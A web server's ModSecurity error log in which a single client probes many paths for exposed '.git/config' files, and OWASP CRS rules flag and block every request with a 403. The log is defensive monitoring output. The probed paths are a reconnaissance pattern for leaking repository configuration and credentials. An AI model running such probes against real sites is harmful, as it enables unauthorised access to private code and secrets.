[Wed Apr 03 09:03:55.266226 2024] [:error] [pid 2228853] [client 91.215.85.29:53370] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdwAAAAU&quot;]
[Wed Apr 03 09:03:55.266461 2024] [:error] [pid 2228853] [client 91.215.85.29:53370] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdwAAAAU&quot;]
[Wed Apr 03 09:03:55.267943 2024] [:error] [pid 2230841] [client 91.215.85.29:53378] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkAAAAAs&quot;]
[Wed Apr 03 09:03:55.268380 2024] [:error] [pid 2230841] [client 91.215.85.29:53378] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkAAAAAs&quot;]
[Wed Apr 03 09:03:55.268748 2024] [:error] [pid 2230841] [client 91.215.85.29:53378] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkAAAAAs&quot;]
[Wed Apr 03 09:03:55.290302 2024] [:error] [pid 2228852] [client 91.215.85.29:53384] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyQAAAAQ&quot;]
[Wed Apr 03 09:03:55.290877 2024] [:error] [pid 2228852] [client 91.215.85.29:53384] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyQAAAAQ&quot;]
[Wed Apr 03 09:03:55.291307 2024] [:error] [pid 2228852] [client 91.215.85.29:53384] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyQAAAAQ&quot;]
[Wed Apr 03 09:03:55.295527 2024] [:error] [pid 2230842] [client 91.215.85.29:53406] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCgAAAAw&quot;]
[Wed Apr 03 09:03:55.296935 2024] [:error] [pid 2230842] [client 91.215.85.29:53406] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCgAAAAw&quot;]
[Wed Apr 03 09:03:55.297217 2024] [:error] [pid 2230842] [client 91.215.85.29:53406] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCgAAAAw&quot;]
[Wed Apr 03 09:03:55.298260 2024] [:error] [pid 2234703] [client 91.215.85.29:53380] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCQAAAAM&quot;]
[Wed Apr 03 09:03:55.298599 2024] [:error] [pid 2234703] [client 91.215.85.29:53380] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCQAAAAM&quot;]
[Wed Apr 03 09:03:55.298862 2024] [:error] [pid 2234703] [client 91.215.85.29:53380] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCQAAAAM&quot;]
[Wed Apr 03 09:03:55.301075 2024] [:error] [pid 2228849] [client 91.215.85.29:53398] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIwAAAAE&quot;]
[Wed Apr 03 09:03:55.301374 2024] [:error] [pid 2228849] [client 91.215.85.29:53398] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIwAAAAE&quot;]
[Wed Apr 03 09:03:55.301609 2024] [:error] [pid 2228849] [client 91.215.85.29:53398] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIwAAAAE&quot;]
[Wed Apr 03 09:03:55.304301 2024] [:error] [pid 2228850] [client 91.215.85.29:53408] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHQAAAAI&quot;]
[Wed Apr 03 09:03:55.304617 2024] [:error] [pid 2228850] [client 91.215.85.29:53408] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHQAAAAI&quot;]
[Wed Apr 03 09:03:55.304840 2024] [:error] [pid 2228850] [client 91.215.85.29:53408] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHQAAAAI&quot;]
[Wed Apr 03 09:03:55.331810 2024] [:error] [pid 2230835] [client 91.215.85.29:53410] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWwAAAAY&quot;]
[Wed Apr 03 09:03:55.332141 2024] [:error] [pid 2230835] [client 91.215.85.29:53410] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWwAAAAY&quot;]
[Wed Apr 03 09:03:55.332391 2024] [:error] [pid 2230835] [client 91.215.85.29:53410] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWwAAAAY&quot;]
[Wed Apr 03 09:03:55.336192 2024] [:error] [pid 2230843] [client 91.215.85.29:53424] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBgAAAA0&quot;]
[Wed Apr 03 09:03:55.336951 2024] [:error] [pid 2230843] [client 91.215.85.29:53424] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBgAAAA0&quot;]
[Wed Apr 03 09:03:55.338692 2024] [:error] [pid 2230843] [client 91.215.85.29:53424] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBgAAAA0&quot;]
[Wed Apr 03 09:03:55.341833 2024] [:error] [pid 2228848] [client 91.215.85.29:53426] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46AAAAAA&quot;]
[Wed Apr 03 09:03:55.342365 2024] [:error] [pid 2228848] [client 91.215.85.29:53426] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46AAAAAA&quot;]
[Wed Apr 03 09:03:55.342762 2024] [:error] [pid 2228848] [client 91.215.85.29:53426] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46AAAAAA&quot;]
[Wed Apr 03 09:03:55.349773 2024] [:error] [pid 2230840] [client 91.215.85.29:53428] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQAAAAAo&quot;]
[Wed Apr 03 09:03:55.350179 2024] [:error] [pid 2230840] [client 91.215.85.29:53428] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQAAAAAo&quot;]
[Wed Apr 03 09:03:55.350538 2024] [:error] [pid 2230840] [client 91.215.85.29:53428] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQAAAAAo&quot;]
[Wed Apr 03 09:03:55.370082 2024] [:error] [pid 2228853] [client 91.215.85.29:53434] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeAAAAAU&quot;]
